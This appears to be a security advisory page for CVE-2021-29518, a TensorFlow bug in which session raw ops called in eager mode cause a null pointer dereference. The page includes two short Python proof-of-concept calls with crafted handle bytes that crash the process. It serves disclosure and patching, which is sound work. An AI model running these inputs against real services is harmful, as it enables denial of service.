CVE-2021-29518: Session operations in eager mode lead to null pointer dereferences
(updated )
In eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:
import tensorflow as tf
tf.raw_ops.GetSessionTensor(handle=['\x12\x1a\x07'],dtype=4)
import tensorflow as tf
tf.raw_ops.DeleteSessionTensor(handle=['\x12\x1a\x07'])
References
- github.com/advisories/GHSA-62gx-355r-9fhg
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-446.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-644.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-155.yaml
- github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba
- github.com/tensorflow/tensorflow/security/advisories/GHSA-62gx-355r-9fhg
- nvd.nist.gov/vuln/detail/CVE-2021-29518
Detect and mitigate CVE-2021-29518 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →